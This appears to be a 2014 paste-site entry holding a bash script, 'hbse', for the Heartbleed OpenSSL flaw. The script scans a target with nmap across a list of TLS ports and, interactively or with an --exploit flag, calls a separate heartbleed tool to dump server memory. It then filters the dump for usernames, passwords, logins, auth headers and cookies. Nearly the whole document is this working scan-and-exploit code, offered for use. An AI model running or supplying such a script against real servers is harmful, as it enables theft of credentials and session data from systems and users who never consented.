Heartbleed


SUBMITTED BY: Guest

DATE: May 6, 2014, 2:15 p.m.

FORMAT: Text only

SIZE: 4.6 kB

HITS: 2097

  1. # Heartbleed
  2. #Affected OpenSSL versions
  3. #The affected versions of OpenSSL are OpenSSL 1.0.1 through 1.0.1f (inclusive).
  4. #Later versions (1.0.1g and ulterior) and previous versions (1.0.0 branch and older) are not vulnerable.
  5. #Installations of the affected versions are vulnerable unless OpenSSL was compiled with OPENSSL_NO_HEARTBEATS.
  6. # Scan and exploit
  7. # ./hbse 127.0.0.1 # Interactive mode.
  8. # ./hbse --scan 127.0.0.1 # No interactive mode. Scan only.
  9. # ./hbse --exploit 127.0.0.1 # No interactive mode. Scan and exploit.
  10. # cat hbse
  11. #!/bin/bash
  12. ### TCP ####
  13. # 443 (HTTPS - HTTP over SSL)
  14. # 465 (SMTPS - SMTP over SSL)
  15. # 563 (NNTPS - NNTP over TLS/SSL)
  16. # 636 (LDAPS - LDAP over TLS/SSL)
  17. # 989 (FTPS Data - FTP Data over TLS/SSL)
  18. # 990 (FTPS Control - FTP Control over TLS/SSL)
  19. # 992 (Telnet over TLS/SSL)
  20. # 993 (IMAPS - IMAP over SSL)
  21. # 995 (POP3S - POP3 over SSL)
  22. # 1194 (OpenVPN)
  23. # 2484 (Oracle Database listening for SSL client)
  24. # 5061 (SIP over TLS)
  25. # 8443 (Apache Tomcat SSL)
  26. ### UDP ###
  27. # 563 (NNTPS - NNTP over TLS/SSL)
  28. # 636 (LDAPS - LDAP over TLS/SSL)
  29. # 4433 (OpenSSL)
  30. if [ $# -eq 1 ]; then
  31. ip="$1"
  32. elif [ $# -eq 2 ]; then
  33. se="$1"
  34. ip="$2"
  35. else
  36. exit
  37. fi
  38. nports="T:443,465,563,636,989,990,992,993,995,1194,2484,5061,8443,U:563,636,4433"
  39. function print() {
  40. text="$1"
  41. color="$2"
  42. if [ "$color" == "gray" ]; then
  43. header="\e[38;5;250m"
  44. elif [ "$color" == "red" ]; then
  45. header="\e[91m"
  46. elif [ "$color" == "green" ]; then
  47. header="\e[92m"
  48. elif [ "$color" == "yellow" ]; then
  49. header="\e[93m"
  50. fi
  51. tail="\e[0m"
  52. echo -en $header$text$tail
  53. }
  54. print "Checking if $ip is vulnerable on port 443... " "gray"
  55. vulnerable="`nmap -p T:443 -script ssl-heartbleed $ip | grep VULNERABLE`"
  56. if [ "$vulnerable" != "" ]; then
  57. print "Yes\n" "green"
  58. print "Checking if it is vulnerable on other ports... " "gray"
  59. vports="`nmap -p $nports -script ssl-heartbleed $ip | grep -B 2 VULNERABLE: | grep open | awk -F'/' '{print $1}'`"
  60. n="`echo "$ports" | wc -l`"
  61. if [ "$n" == 1 ]; then
  62. print "No\n" "red"
  63. w1="port"
  64. w2="it"
  65. w3="file"
  66. else
  67. print "Yes\n" "green"
  68. w1="ports"
  69. w2="them"
  70. w3="files"
  71. fi
  72. print "Vulnerable $w1:\n" "gray"
  73. print "$vports\n" "green"
  74. if [ "$se" == "--scan" ]; then exit
  75. elif [ "$se" == "--exploit" ]; then
  76. answer="Y"
  77. else
  78. print "Do you want to exploit $w2? [Yn] " "gray"
  79. read answer
  80. fi
  81. if [ "$answer" = "Y" ]; then
  82. print "Exploit: dumping 64KB on vulnerable $w1...\n" "gray"
  83. exec 3<<< "$vports"
  84. while read port <&3; do
  85. print "+ Port [$port]\n" "gray"
  86. ofile="$ip.$port"
  87. if [ -f $ofile ]; then rm -f $ofile; fi
  88. if [ "$port" == "465" ]; then
  89. precmd='-c 0'
  90. elif [ "$port" == "993" ]; then
  91. precmd='-c 2'
  92. elif [ "$port" == "995" ]; then
  93. precmd='-c 1'
  94. else
  95. precmd=''
  96. fi
  97. ./heartbleed -s $ip -p $port -f $ofile $precmd -t 1 > /dev/null 2>&1
  98. if [ -f $ofile ]; then
  99. r="`strings $ofile | grep -i -e user -e pass -e login -e auth -e cookie -e basic`"
  100. print "$r\n" "green"
  101. if [ "$se" != "--exploit" ]; then
  102. print "Do you want to less the hexdump file? [Yn] " "gray"
  103. read answer
  104. if [ "$answer" = "Y" ]; then
  105. hexdump -C $ofile | less
  106. fi
  107. fi
  108. else
  109. print "Error: heartbleed did not work on port $port...\n" "yellow"
  110. fi
  111. done
  112. if [ "$se" != "--exploit" ]; then
  113. print "Do you want to delete the hexdump $w3? [Yn] " "gray"
  114. read answer
  115. if [ "$answer" = "Y" ]; then
  116. rm -f $ip.*
  117. fi
  118. fi
  119. fi
  120. else
  121. print "No\n" "red"
  122. fi

comments powered by Disqus